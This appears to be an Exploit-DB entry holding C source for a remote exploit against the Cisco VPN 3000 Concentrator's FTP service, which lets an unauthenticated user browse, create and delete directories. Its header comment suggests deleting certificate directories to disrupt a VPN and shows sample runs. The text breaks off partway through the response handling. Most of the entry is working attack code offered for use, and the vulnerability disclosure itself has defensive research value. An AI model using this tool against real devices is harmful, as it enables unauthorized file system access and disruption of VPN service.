Exploit-DB #2638
Description: Cisco VPN 3000 Concentrator 4.1.7/4.7.2 - 'FTP' Remote File System Access
Type: remote
Platform: hardware
Date: 2006-10-24
Author: prdelka

Exploit:
/* Cisco VPN Concentrator 3000 FTP remote exploit
 * ==============================================
 * A vulnerability exists in the Cisco VPN Concentrator 3000,
 * an unauthenticated user may access the file system through
 * manipulation of FTP service commands. An unauthenticated 
 * user can use the following commands;
 * 
 * CWD  - Change the current working directory
 * MKD  - Make a directory within the current working directory
 * CDUP - Change directory up one tree.
 * RNFR - Rename From (This can be used to identify files and directories)
 * SIZE - This can be used to identify files and directories
 * RMD  - This can be used to delete a directory
 *
 * The FTP service remembers the current working directory so directory
 * changes can affect exploitation. By removing potentially sensitive
 * directories such as "CERTS" it may be possible to disrupt service
 * to a VPN.
 * 
 * Confirmed Vulnerable
 * + Cisco Systems Inc./VPN 3000 concentrator Version 4.1.5 RelJun 18 2004
 * 
 * Example.
 * localhost exploits # ./prdelka-vs-CISCO-vpnftp -s 10.1.2.10 -c / 
 * [ Cisco VPN Concentrator 3000 FTP service exploit
 * [ Connected to 10.1.2.10 (21/tcp)
 * [ Changing directory to /
 * [ Success! changed directory to /
 * localhost exploits # ./prdelka-vs-CISCO-vpnftp -s 10.1.2.10 -t config
 * [ Cisco VPN Concentrator 3000 FTP service exploit
 * [ Connected to 10.1.2.10 (21/tcp)
 * [ Testing for the existance of config
 * [ Success! file config does exist!
 * 
 * 
 * - prdelka
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <getopt.h>
#include <signal.h>

int main (int argc, char *argv[]){
	int ihost=0,index=0,imkdir=0,ichdir=0,idelete=0,itest=0,ipass=0,port=21;
	int c, sd, rc, size;
	char *host, *directory, *file, *buffer, *rbuffer;
	struct sockaddr_in servAddr;
	struct hostent *h;
        static struct option options[]={
                {"server", 1, 0, 's'},
                {"port", 1, 0, 'p'},
                {"rmdir", 1, 0, 'r'},
                {"mkdir", 1, 0, 'm'},
                {"chdir", 1, 0, 'c'},
		{"test", 1, 0, 't'},
                {"help", 0, 0,'h'}
        };
	printf("[ Cisco VPN Concentrator 3000 FTP service exploit\n");
        while(c != -1){
                c = getopt_long(argc,argv,"s:p:r:m:c:t:h",options,&index);
                switch(c){
                        case 's':
                                if(ihost==0){
	                                h = gethostbyname(optarg);
        	                        if(h==NULL){
                	                        printf("[ Error unknown host '%s'\n",optarg);
                        	                exit(1);
                                	}
	                                host = malloc(strlen(optarg) + 1);
        	                        sprintf(host,"%s",optarg);
                	                ihost = 1;
                                }                               
				break;
			case 'p':
				port = atoi(optarg);
				break;
			case 'r':
				if(idelete==0){
					if(ipass!=1){
						ipass = 1;
						idelete = 1;
						directory = optarg;
					}
					else{
						printf("[ Error: cannot delete directory as another option already selected\n");
						exit(1);
					}
				}
				break;
			case 'c':
				if(ichdir==0){
					if(ipass!=1){
						ipass = 1;
						ichdir = 1;
						directory = optarg;
					}
					else{
						printf("[ Error: cannot change dir as another option already selected\n");
						exit(2);
					}
				}
				break;
			case 't':
				if(itest==0){
					if(ipass!=1){
						ipass = 1;
						itest = 1;
						file = optarg;
					}
					else{
						printf("[ Error: cannot test for existance as another option already selected\n");
						exit(3);
					}					
				}
				break;
			case 'm':
				if(imkdir==0){
					if(ipass!=1){
						ipass = 1;
						imkdir = 1;
						directory = optarg;
					}
					else{
						printf("[ Error: cannot make directory as another option already selected\n");
						exit(4);
					}
					
				}
				break;
			case 'h':
				printf("[ Usage instructions.\n[\n");
				printf("[ %s <required> (optional)\n[\n",argv[0]);
				printf("[\t--server|-s <ip/hostname>\n[\t--port|-p (port) [default 21]\n[\t--rmdir|-r (directory)\n[\t--mkdir|-m (directory)\n");
				printf("[\t--chdir|-c (directory)\n[\t--test|-t (filename/directory)\n[\n");
				exit(0);
				break;
			default:
				break;
		}
	}
        if(ihost  != 1 || ipass != 1){
        	printf("[ Error insufficient arguements, try running '%s --help'\n",argv[0]);
	        exit(1);
        }
        servAddr.sin_family = h->h_addrtype;
        memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
        servAddr.sin_port = htons(port);
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd<0){
                printf("[ Cannot open socket\n");
                exit(1);
        }
        rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
        if(rc<0){
                printf("[ Cannot connect\n");
                exit(1);
        }
        printf("[ Connected to %s (%d/tcp)\n",host,port);
	rbuffer = malloc(1024);
	if(ichdir==1){
		printf("[ Changing directory to %s\n",directory);
		size = 2048 + strlen(directory);
		buffer = malloc(size);
		sprintf(buffer,"CWD %s\r\n",directory);
		rc = send(sd, buffer, strlen(buffer),0);
                while((rc = recv(sd, rbuffer,1023,0)) != -1){
                        rbuffer[rc]=0;
                        if(strstr(rbuffer,"250 Changed to .") != NULL){
                                printf("[ Success! changed directory to %s\n",directory);
                                break;
                        }
                        if(strstr(rbuffer,"530 Can't cha